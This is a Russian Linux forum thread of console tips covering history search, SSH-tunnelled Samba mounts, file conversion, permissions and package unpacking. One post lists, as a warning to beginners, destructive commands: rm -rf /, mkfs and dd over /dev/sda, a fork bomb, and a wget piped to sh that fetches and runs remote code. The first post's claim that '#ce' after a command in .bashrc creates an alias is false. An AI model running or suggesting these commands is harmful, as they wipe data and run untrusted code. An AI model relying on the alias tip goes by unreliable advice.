Автор Тема: Маленькие консольные хитрости  (Прочитано 35109 раз)

Оффлайн alexis031182

  • Full
  • ****
  • Сообщений: 1012
  • Репутация: +0/-0
    • http://www.slovensk.ru/fspo
    • E-mail
    • Личное сообщение (Оффлайн)
Маленькие консольные хитрости
« Ответ #20 : Декабря 06, 2008, 15:54:43 »
Эх, ну всё хорошо в консоли. Но уж очень достаёт постоянно набирать одну и ту же длинную строку, если используется команда достаточно часто. Обычно все спасаются простым перелистыванием ранее введённых команд при помощи клавиш со стрелками вверх и вниз. Однако есть способы и поинтереснее, например использование Ctrl+R. Нажмите эту комбинацию клавиш в консоли и начинайте вводить первые символы вашей часто используемой команды. Shell-оболочка BASH мгновенно дополнит недостающие символы, после чего останется нажать лишь клавишу Enter. Другой способ заключается в предварительном объявлении псевдонимов к часто используемым командам. Откройте в текстовом редакторе файл .bashrc, находящийся в вашей домашней директории (имейте ввиду, что данный файл является скрытым). Затем, допишите в его конец свою команду, а следом (в этой же строке) поставьте символ # и допишите какое-либо коротенькое слово-псевдоним, например так:
cd /etc #ce
firefox & #web
Перезапустите консоль. Теперь, если вы наберёте команду ce и нажмёте Enter, то мгновенно перейдёте в каталог /etc, а если наберёте команду web, то откроете, соответственно, web-браузер.

Оффлайн alexis031182

  • Full
  • ****
  • Сообщений: 1012
  • Репутация: +0/-0
    • http://www.slovensk.ru/fspo
    • E-mail
    • Личное сообщение (Оффлайн)
Маленькие консольные хитрости
« Ответ #21 : Декабря 06, 2008, 15:57:39 »
Протокол NetBIOS только для локальной сети?.. Кто это сказал? Надеюсь, что вы не согласны с подобными утверждениями, потому как в обратном случае мне придётся вас разуверить    Почему бы для решения этой задачи не воспользоваться OpenSSH?

Допустим мы имеем два компа, на одном из которых расшарены сетевые папки (сервер: 84.242.220.89), а другой (клиент: 192.168.1.1) пытаемся соединить с этим самым Samba-сервером.

Для начала создадим папку, к которой и подключим один из удалённых ресурсов:
mkdir -p /home/user/smbsharesТеперь создаём защищённое (через шифрование) сетевое подключение:
ssh -N -L 139:192.168.1.1:139 user_name@84.242.220.89  user_name@84.242.220.89Незабудьте заменить user_name на имя своей учётной записи.

Монтируем:
/bin/mount -t smbfs -o username="user_name",workgroup="workgroup_name",password="user_password",
port=139,dmask=770,fmask=660,netbiosname="host_name" //localhost/share /home/user/smbshares
И всё...  
« Последнее редактирование: Декабря 06, 2008, 15:59:39 от alexis031182 »

Оффлайн alexis031182

  • Full
  • ****
  • Сообщений: 1012
  • Репутация: +0/-0
    • http://www.slovensk.ru/fspo
    • E-mail
    • Личное сообщение (Оффлайн)
Маленькие консольные хитрости
« Ответ #22 : Декабря 06, 2008, 15:59:14 »
А вот ещё один вариант быстрой работы в командной строке. Например, вы создали файл:
echo "Привет" > /home/username/hello.txtЗатем решили посмотреть его:
cat /home/username/hello.txtА потом вдруг вас осенило: "На кой лях мне этот файл сдался, надо бы его грохнуть". Что вы станете делать? Наберёте:
cd /home/username && rm hello.txt... или, быть может:
rm /home/username/hello.txtБыстрее, всё-таки, будет так:
rm $_  

Оффлайн alexis031182

  • Full
  • ****
  • Сообщений: 1012
  • Репутация: +0/-0
    • http://www.slovensk.ru/fspo
    • E-mail
    • Личное сообщение (Оффлайн)
Маленькие консольные хитрости
« Ответ #23 : Декабря 06, 2008, 16:00:46 »
В фильмах, особенно во всяких шпионских, мы часто наблюдали, как один из героев, чтобы не быть узнанным, подделывал свой голос через компьютер. Уж не знаю, какое ПО при этом использовалось, но OpenSource решает эту проблему походя. Установите пакет espeak и наберите в консоли следующее:
espeak "hello my beautiful world"Нормально? А как по-русски? Тоже не слишком сложно. Во-первых, определите доступный список русскоязычных дикторов:
espeak --voices="ru"В полученной таблице, в колонке VoiceName перечислены все доступные русские "голоса", которые можно использовать:
espeak -v "russian_test" "Здравствуй мой прекрасный мир"

Оффлайн alexis031182

  • Full
  • ****
  • Сообщений: 1012
  • Репутация: +0/-0
    • http://www.slovensk.ru/fspo
    • E-mail
    • Личное сообщение (Оффлайн)
Маленькие консольные хитрости
« Ответ #24 : Декабря 06, 2008, 16:02:08 »
Ещё один из способов создания скриншотов:
  • наберите комбинацию ALT+F2;
  • введите команду import file_name.png;
  • при помощи курсора выделите область на рабочем столе для создания скриншота.
Вуаля!

Один момент: для того, чтобы это заработало должен быть установлен пакет imagemagick.
« Последнее редактирование: Декабря 06, 2008, 16:02:20 от alexis031182 »

Оффлайн alexis031182

  • Full
  • ****
  • Сообщений: 1012
  • Репутация: +0/-0
    • http://www.slovensk.ru/fspo
    • E-mail
    • Личное сообщение (Оффлайн)
Маленькие консольные хитрости
« Ответ #25 : Декабря 07, 2008, 18:26:17 »
На этот раз немного "смертоубийственных хитростей"... Филиппинский студент Джан Ауза собрал список из 7 самых опасных команд в Linux.

Внимание! Не надо испытывать эти команды на вашей рабочей системе - она будет полностью уничтожена. Пожалуйста, тренируйтесь в изолированных виртуальных средах.

Первая и самая известная команда:
rm -rf /Введенная от имени суперпользователя, рекурсивно удалит все файлы. Намного быстрее форматирование:
mkfs.ext3 /dev/sdaЭта команда уничтожит все файлы на диске /dev/sda.

Прием, известный как forkbomb (от системного вызова fork(), который ветвит текущий процесс). Достаточно набрать в консоли:
:(){:|:&};:...(прикольный смайлик    ) и вся память заполнится копиями процессов, результатом чего будет зависание. Особо интересный эффект можно получить, поместив данную команду в сценарии загрузки.

Следующая команда портит жесткий диск /dev/sda:
любая_команда > /dev/sdaЕсли вызванная команда выводит какие-либо данные, то они будут перенаправлены прямиком в начало диска, что приведет к потере данных.

Вредоносный код можно разместить в интернете и вызвать его удалённо командой, которая, на первый взгляд, не вызывает никаких подозрений:
wget http://некоторый_вредоносный_код -O- | shШестой способ вредительства заключается в том, чтобы отправить все файлы в "черную дыру" /dev/null. Сделать это можно следующим образом:
mv /home/my_home_directory/* /dev/nullИ последний способ, который делает невозможным восстановление утерянных данных:
dd if=/dev/urandom of=/dev/sdaВ этом случае диск заполняется случайными данными.

Разумеется, опытный пользователь легко распознает любую вредоносную команду, а вот новичкам следует внимательно изучить примеры, чтобы не стать жертвой "дружеского" розыгрыша.

Оффлайн alexis031182

  • Full
  • ****
  • Сообщений: 1012
  • Репутация: +0/-0
    • http://www.slovensk.ru/fspo
    • E-mail
    • Личное сообщение (Оффлайн)
Маленькие консольные хитрости
« Ответ #26 : Декабря 18, 2008, 21:13:27 »
Много времени проводите за чтением man-страниц? Тогда, возможно, вам понравится новая тема оформления. Просто добавьте эти строчки в файл .bashrc:

export LESS_TERMCAP_mb=$'\E[01;31m'
export LESS_TERMCAP_md=$'\E[01;37m'
export LESS_TERMCAP_me=$'\E[0m'
export LESS_TERMCAP_se=$'\E[0m'
export LESS_TERMCAP_so=$'\E[01;44;33m'
export LESS_TERMCAP_ue=$'\E[0m'
export LESS_TERMCAP_us=$'\E[01;32m'
... и перезагрузите консоль.

Оффлайн alexis031182

  • Full
  • ****
  • Сообщений: 1012
  • Репутация: +0/-0
    • http://www.slovensk.ru/fspo
    • E-mail
    • Личное сообщение (Оффлайн)
Маленькие консольные хитрости
« Ответ #27 : Декабря 18, 2008, 21:14:19 »
Не консольная, но интересная "хитрость".

Дистрибутив openSUSE предоставляет эффективное средство по установке новых программ в систему - "One click install" (установка в один щелчок). А что могут предложить дистрибутивы, основанные на apt-pkg? Просто добавьте строчку apt:имя_пакета на свой web-сайт.

Оффлайн alexis031182

  • Full
  • ****
  • Сообщений: 1012
  • Репутация: +0/-0
    • http://www.slovensk.ru/fspo
    • E-mail
    • Личное сообщение (Оффлайн)
Маленькие консольные хитрости
« Ответ #28 : Декабря 18, 2008, 21:15:27 »
Если после перехода с windows на Linux у вас сохранилось множество файлов дисковых образов с нестандартным расширением, типа *.bin и/или *.cue, конвертаните их в привычные исошки:

bchunk file.bin file.cue file.isoАналогично можно поступить и с *.ccd и/или *.img:

ccd2iso image_file.img image_file.iso

Оффлайн alexis031182

  • Full
  • ****
  • Сообщений: 1012
  • Репутация: +0/-0
    • http://www.slovensk.ru/fspo
    • E-mail
    • Личное сообщение (Оффлайн)
Маленькие консольные хитрости
« Ответ #29 : Декабря 18, 2008, 21:16:25 »
Пожалуй имеет смысл и конвертацию flv в mp3/mpg форматы затронуть.

Для аудио:

ffmpeg -i input.flv -ar 44100 -ab 160 -ac 2 output.mp3Для видео:

ffmpeg -i input.flv -s 352×288 -b 512 -ab 128 output.mpg

Оффлайн alexis031182

  • Full
  • ****
  • Сообщений: 1012
  • Репутация: +0/-0
    • http://www.slovensk.ru/fspo
    • E-mail
    • Личное сообщение (Оффлайн)
Маленькие консольные хитрости
« Ответ #30 : Января 03, 2009, 18:46:21 »
Если Вы профессиональная машинистка, давящая клавиатурные клавиши со скоростью 999 нажатий в секунду и при этом не делающая ни единой ошибки, значит эта "хитрость" не для вас. В обратном случае, если вы с трудом попадаете по нужным кнопкам советуем обратиться к нижеследующему решению:

shopt -s cdspellДанная команда включит проверку корректности ввода пути в консоли при использовании утилиты cd. Теперь, если вы введёте, например, cd /ust/local, вместо cd /usr/local, вы обязательно попадёте в папку назначения. Сообщение о некорректном вводе пути не появится.

Можно также глянуть и на других "помощников", выведя их список на экран:

shopt -p

Оффлайн alexis031182

  • Full
  • ****
  • Сообщений: 1012
  • Репутация: +0/-0
    • http://www.slovensk.ru/fspo
    • E-mail
    • Личное сообщение (Оффлайн)
Маленькие консольные хитрости
« Ответ #31 : Января 03, 2009, 18:49:18 »
Можно ли изменять права доступа к файлам и каталогам раздельно, но рекурсивно и для каждого? Можно  

Правим права на файлы:

find /home/user/mydir -type f -exec chmod 644 {} \;Правим права на каталоги:

find /home/user/mydir -type d -exec chmod 755 {} \;Соответственно, незабудьте заменить приведённые в примерах числа 644 и 755 на нужные вам значения.

Оффлайн alexis031182

  • Full
  • ****
  • Сообщений: 1012
  • Репутация: +0/-0
    • http://www.slovensk.ru/fspo
    • E-mail
    • Личное сообщение (Оффлайн)
Маленькие консольные хитрости
« Ответ #32 : Января 03, 2009, 18:52:41 »
Создаём "разбитый" на составные части (файлы) rar-архив:

rar a -m3 -v50M -R архив.rar /home/user/Документы/Опция -m определяет уровень компрессии от 0 до 5, где 0 - самое быстрое и слабое сжатие, а 5 - медленное, но при этом файлы сжимаются максимально.

Опция -v определяет максимальный размер каждой части создаваемого архива. Для килобайт можно использовать суффикс K, например -v50K.

P.S. Для выполнения команды незабудьте установить одноимённый пакет.

Оффлайн alexis031182

  • Full
  • ****
  • Сообщений: 1012
  • Репутация: +0/-0
    • http://www.slovensk.ru/fspo
    • E-mail
    • Личное сообщение (Оффлайн)
Маленькие консольные хитрости
« Ответ #33 : Января 03, 2009, 18:54:11 »
Частенько, в наследие от windows нам остаётся множество файлов с левой кодировкой, известной под кодовым именем cp1251. Речь конечно же идёт об обычных текстовых файлах, и дабы хоть немного облегчить жизнь начинающим СПО'шникам, предлагаем такое решение сей незатейливой проблемы:

recode CP1251..UTF8 < исходный_файл.txt > файл_результат.txt

Оффлайн alexis031182

  • Full
  • ****
  • Сообщений: 1012
  • Репутация: +0/-0
    • http://www.slovensk.ru/fspo
    • E-mail
    • Личное сообщение (Оффлайн)
Маленькие консольные хитрости
« Ответ #34 : Января 03, 2009, 18:56:27 »
Распаковка deb-пакета без установки самого приложения:

ar x файл_пакета.debДля справки. deb-пакет - это ar архив, содержащий три файла:
  • debian-binary - обычный текстовый файл, содержащий информацию о системе управления пакетами, для которой он предназначен;
  • control.tar.gz - сжатый файл-архив, содержащий служебную информацию (в том числе и сумму md5 пакета);
  • data.tar.gz - сжатый файл-архив, содержащий файлы устанавливаемого приложения.

Оффлайн alexis031182

  • Full
  • ****
  • Сообщений: 1012
  • Репутация: +0/-0
    • http://www.slovensk.ru/fspo
    • E-mail
    • Личное сообщение (Оффлайн)
Маленькие консольные хитрости
« Ответ #35 : Января 03, 2009, 18:58:10 »
Распаковка rpm-пакета без установки самого приложения:

rpm2cpio файл_пакета.rpm | cpio -idmvСначала rpm-пакет будет сконвертирован в формат архива утилиты cpio, а затем распакован.

Оффлайн alexis031182

  • Full
  • ****
  • Сообщений: 1012
  • Репутация: +0/-0
    • http://www.slovensk.ru/fspo
    • E-mail
    • Личное сообщение (Оффлайн)
Маленькие консольные хитрости
« Ответ #36 : Января 03, 2009, 19:00:22 »
Для изменения системного времени воспользуйтесь утилитой date:

sudo date --set=HHMM... где HH - часы, а MM - минуты.

Например:

sudo date --set=1438... системное время будет установлено в 14 часов и 38 минут.

Оффлайн cryzic147

  • User
  • *
  • Сообщений: 1
  • Репутация: +0/-0
    • Личное сообщение (Оффлайн)
Re: Маленькие консольные хитрости
« Ответ #37 : Октября 07, 2013, 01:53:17 »
спасибо за труды - очень интересно и познавательно

 

Последние сообщения на форуме: